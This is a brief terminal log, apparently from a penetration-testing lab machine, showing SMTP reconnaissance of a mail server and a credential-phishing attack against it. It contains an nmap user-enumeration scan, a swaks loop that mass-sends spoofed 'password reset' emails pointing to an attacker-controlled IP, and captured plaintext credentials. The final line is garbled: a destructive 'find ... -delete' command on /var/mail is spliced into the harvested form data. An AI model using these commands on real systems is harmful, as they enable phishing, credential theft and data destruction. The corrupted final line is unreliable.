$ nmap -p25 --script=smtp* postfish.off
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-10 07:57 CDT
Nmap scan report for postfish.off (192.168.185.137)
Host is up (0.039s latency).
PORT STATE SERVICE
25/tcp open smtp
| smtp-vuln-cve2010-4344:
|_ The SMTP server is not Exim: NOT VULNERABLE
|_smtp-commands: postfish.off, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING
|_smtp-open-relay: Server doesn't seem to be an open relay, all tests failed
| smtp-enum-users:
|_ root
Nmap done: 1 IP address (1 host up) scanned in 20.53 seconds
$ for i in $(cat emails.txt); do swaks --to $i@postfish.off --from it@postfish.off --header 'Subject: Password Reset Link' --body 'Reset your password and get pwned here http://192.168.45.168' --server 192.168.211.137; done
first_name%3DBrian%26last_name%3DMoore%26email%3Dbrian.moore%postfish.off%26username%3Dbrian.moore%26password%3DEternaLSunshinE%26confifind /var/mail/ -type f ! -name sales -delete_password%3DEternaLSunshinE
